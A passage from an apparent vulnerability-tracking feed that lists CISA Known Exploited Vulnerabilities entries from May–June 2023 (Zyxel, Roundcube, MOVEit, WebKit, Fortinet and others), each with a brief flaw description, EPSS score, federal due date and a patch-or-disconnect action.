FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20867&date=2026-10-25
CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 23, 2023; federal due date Jul 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel Multiple NAS Devices Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-27992
Zyxel Multiple NAS Devices Command Injection Vulnerability (Jun 23, 2023).
Multiple Zyxel network-attached storage (NAS) devices contain a pre-authentication command injection vulnerability that could allow an unauthenticated attacker to execute commands remotely via a crafted HTTP request.
EPSS 82.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27992&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-27992: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27992&date=2026-10-25
CISA added this entry on 2023-06-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 23, 2023; federal due date Jul 14, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Vmware Aria Operations for Networks Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-20887
Vmware Aria Operations for Networks Command Injection Vulnerability (Jun 22, 2023).
VMware Aria Operations for Networks (formerly vRealize Network Insight) contains a command injection vulnerability that allows a malicious actor with network access to perform an attack resulting in remote code execution.
EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20887&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-20887: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20887&date=2026-10-25
CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Roundcube Webmail Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2020-35730
Roundcube Webmail Cross-Site Scripting (XSS) Vulnerability (Jun 22, 2023).
Roundcube Webmail contains a cross-site scripting (XSS) vulnerability that allows an attacker to send a plain text e-mail message with Javascript in a link reference element that is mishandled by linkref_addinindex in rcube_string_replacer.php.
EPSS 32.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-35730&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-35730: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-35730&date=2026-10-25
CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Roundcube Webmail Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-12641
Roundcube Webmail Remote Code Execution Vulnerability (Jun 22, 2023).
Roundcube Webmail contains an remote code execution vulnerability that allows attackers to execute code via shell metacharacters in a configuration setting for im_convert_path or im_identify_path.
EPSS 84.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-12641&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-12641: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-12641&date=2026-10-25
CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Roundcube Webmail SQL Injection Vulnerability
https://kevwire.com/record/CVE-2021-44026
Roundcube Webmail SQL Injection Vulnerability (Jun 22, 2023).
Roundcube Webmail is vulnerable to SQL injection via search or search_params.
EPSS 69.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-44026&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-44026: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-44026&date=2026-10-25
CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox, Firefox ESR, and Thunderbird Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2016-9079
Mozilla Firefox, Firefox ESR, and Thunderbird Use-After-Free Vulnerability (Jun 22, 2023).
Mozilla Firefox, Firefox ESR, and Thunderbird contain a use-after-free vulnerability in SVG Animation, targeting Firefox and Tor browser users on Windows.
EPSS 87.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-9079&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-9079: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-9079&date=2026-10-25
CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2016-0165
Microsoft Win32k Privilege Escalation Vulnerability (Jun 22, 2023).
Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.
EPSS 13.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0165&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-0165: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0165&date=2026-10-25
CISA added this entry on 2023-06-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 22, 2023; federal due date Jul 13, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS and FortiProxy SSL-VPN Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-27997
Fortinet FortiOS and FortiProxy SSL-VPN Heap-Based Buffer Overflow Vulnerability (Jun 13, 2023).
Fortinet FortiOS and FortiProxy SSL-VPN contain a heap-based buffer overflow vulnerability which can allow an unauthenticated, remote attacker to execute code or commands via specifically crafted requests.
EPSS 85.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-27997&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-27997: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-27997&date=2026-10-25
CISA added this entry on 2023-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 13, 2023; federal due date Jul 4, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2023-3079
Google Chromium V8 Type Confusion Vulnerability (Jun 7, 2023).
Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 37.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-3079&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-3079: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-3079&date=2026-10-25
CISA added this entry on 2023-06-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 7, 2023; federal due date Jun 28, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel Multiple Firewalls Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-33009
Zyxel Multiple Firewalls Buffer Overflow Vulnerability (Jun 5, 2023).
Zyxel ATP, USG FLEX, USG FLEX 50(W), USG20(W)-VPN, VPN, and ZyWALL/USG firewalls contain a buffer overflow vulnerability in the notification function that could allow an unauthenticated attacker to cause denial-of-service (DoS) conditions and remote code execution on an affected device.
EPSS 28.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33009&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-33009: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33009&date=2026-10-25
CISA added this entry on 2023-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 5, 2023; federal due date Jun 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel Multiple Firewalls Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2023-33010
Zyxel Multiple Firewalls Buffer Overflow Vulnerability (Jun 5, 2023).
Zyxel ATP, USG FLEX, USG FLEX 50(W), USG20(W)-VPN, VPN, and ZyWALL/USG firewalls contain a buffer overflow vulnerability in the ID processing function that could allow an unauthenticated attacker to cause denial-of-service (DoS) conditions and remote code execution on an affected device.
EPSS 29.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-33010&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-33010: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-33010&date=2026-10-25
CISA added this entry on 2023-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 5, 2023; federal due date Jun 26, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Progress MOVEit Transfer SQL Injection Vulnerability
https://kevwire.com/record/CVE-2023-34362
Progress MOVEit Transfer SQL Injection Vulnerability (Jun 2, 2023).
Progress MOVEit Transfer contains a SQL injection vulnerability that could allow an unauthenticated attacker to gain unauthorized access to MOVEit Transfer's database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database in addition to executing SQL statements that alter or delete database elements.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-34362&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-34362: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-34362&date=2026-10-25
CISA added this entry on 2023-06-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 2, 2023; federal due date Jun 23, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Zyxel Multiple Firewalls OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-28771
Zyxel Multiple Firewalls OS Command Injection Vulnerability (May 31, 2023).
Zyxel ATP, USG FLEX, VPN, and ZyWALL/USG firewalls allow for improper error message handling which could allow an unauthenticated attacker to execute OS commands remotely by sending crafted packets to an affected device.
EPSS 99.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28771&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-28771: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28771&date=2026-10-25
CISA added this entry on 2023-05-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 31, 2023; federal due date Jun 21, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Barracuda Networks ESG Appliance Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2023-2868
Barracuda Networks ESG Appliance Improper Input Validation Vulnerability (May 26, 2023).
Barracuda Email Security Gateway (ESG) appliance contains an improper input validation vulnerability of a user-supplied .tar file, leading to remote command injection.
EPSS 86.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-2868&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-2868: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-2868&date=2026-10-25
CISA added this entry on 2023-05-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 26, 2023; federal due date Jun 16, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Sandbox Escape Vulnerability
https://kevwire.com/record/CVE-2023-32409
Apple Multiple Products WebKit Sandbox Escape Vulnerability (May 22, 2023).
Apple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit contain an unspecified vulnerability that can allow a remote attacker to break out of the Web Content sandbox. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 16.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32409&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-32409: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32409&date=2026-10-25
CISA added this entry on 2023-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 22, 2023; federal due date Jun 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Out-of-Bounds Read Vulnerability
https://kevwire.com/record/CVE-2023-28204
Apple Multiple Products WebKit Out-of-Bounds Read Vulnerability (May 22, 2023).
Apple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit contain an out-of-bounds read vulnerability that may disclose sensitive information when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 14.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28204&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-28204: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28204&date=2026-10-25
CISA added this entry on 2023-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 22, 2023; federal due date Jun 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2023-32373
Apple Multiple Products WebKit Use-After-Free Vulnerability (May 22, 2023).
Apple iOS, iPadOS, macOS, tvOS, watchOS, and Safari WebKit contain a use-after-free vulnerability that leads to code execution when processing maliciously crafted web content. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 12.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-32373&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-32373: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-32373&date=2026-10-25
CISA added this entry on 2023-05-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 22, 2023; federal due date Jun 12, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2004-1464
Cisco IOS Denial-of-Service Vulnerability (May 19, 2023).
Cisco IOS contains an unspecified vulnerability that may block further telnet, reverse telnet, Remote Shell (RSH), Secure Shell (SSH), and in some cases, Hypertext Transport Protocol (HTTP) access to the Cisco device.
EPSS 4.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2004-1464&date=2026-10-25).
Sources:
CISA KEV entry CVE-2004-1464: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2004-1464&date=2026-10-25
CISA added this entry on 2023-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 19, 2023; federal due date Jun 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco IOS, IOS XR, and IOS XE IKEv1 Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2016-6415
Cisco IOS, IOS XR, and IOS XE IKEv1 Information Disclosure Vulnerability (May 19, 2023).
Cisco IOS, IOS XR, and IOS XE contain insufficient condition checks in the part of the code that handles Internet Key Exchange version 1 (IKEv1) security negotiation requests. contains an information disclosure vulnerability in the Internet Key Exchange version 1 (IKEv1) that could allow an attacker to retrieve memory contents. Successful exploitation could allow the attacker to retrieve memory contents, which can lead to information disclosure.
EPSS 87.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-6415&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-6415: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-6415&date=2026-10-25
CISA added this entry on 2023-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 19, 2023; federal due date Jun 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Samsung Mobile Devices Insertion of Sensitive Information Into Log File Vulnerability
https://kevwire.com/record/CVE-2023-21492
Samsung Mobile Devices Insertion of Sensitive Information Into Log File Vulnerability (May 19, 2023).
Samsung mobile devices running Android 11, 12, and 13 contain an insertion of sensitive information into log file vulnerability that allows a privileged, local attacker to conduct an address space layout randomization (ASLR) bypass.
EPSS 2.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-21492&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-21492: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-21492&date=2026-10-25
CISA added this entry on 2023-05-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 19, 2023; federal due date Jun 9, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ruckus Wireless Multiple Products: Multiple Ruckus Wireless Products CSRF and RCE Vulnerability
https://kevwire.com/record/CVE-2023-25717
Ruckus Wireless Multiple Products: Multiple Ruckus Wireless Products CSRF and RCE Vulnerability (May 12, 2023).
Ruckus Wireless Access Point (AP) software contains an unspecified vulnerability in the web services component. If the web services component is enabled on the AP, an attacker can perform cross-site request forgery (CSRF) or remote code execution (RCE). This vulnerability impacts Ruckus ZoneDirector, SmartZone, and Solo APs.
EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-25717&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-25717: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-25717&date=2026-10-25
CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or disconnect product if it is end-of-life.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Red Hat Polkit Incorrect Authorization Vulnerability
https://kevwire.com/record/CVE-2021-3560
Red Hat Polkit Incorrect Authorization Vulnerability (May 12, 2023).
Red Hat Polkit contains an incorrect authorization vulnerability through the bypassing of credential checks for D-Bus requests, allowing for privilege escalation.
EPSS 23.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-3560&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-3560: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-3560&date=2026-10-25
CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Race Condition Vulnerability
https://kevwire.com/record/CVE-2014-0196
Linux Kernel Race Condition Vulnerability (May 12, 2023).
Linux Kernel contains a race condition vulnerability within the n_tty_write function that allows local users to cause a denial-of-service (DoS) or gain privileges via read and write operations with long strings.
EPSS 20.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0196&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-0196: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0196&date=2026-10-25
CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Improper Input Validation Vulnerability
https://kevwire.com/record/CVE-2010-3904
Linux Kernel Improper Input Validation Vulnerability (May 12, 2023).
Linux Kernel contains an improper input validation vulnerability in the Reliable Datagram Sockets (RDS) protocol implementation that allows local users to gain privileges via crafted use of the sendmsg and recvmsg system calls.
EPSS 15.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-3904&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-3904: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-3904&date=2026-10-25
CISA added this entry on 2023-05-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 12, 2023; federal due date Jun 2, 2023. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Jenkins User Interface (UI) Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2015-5317
Jenkins User Interface (UI) Information Disclosure Vulnerability (May 12, 2023).
Jenkins User Interface (UI) contains an information disclosure vulnerability that allows users to see the names of jobs and builds otherwise inaccessible to them on the "Fingerprints" pages.
EPSS 23.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5317&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-5317: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5317&date=2026-10-25
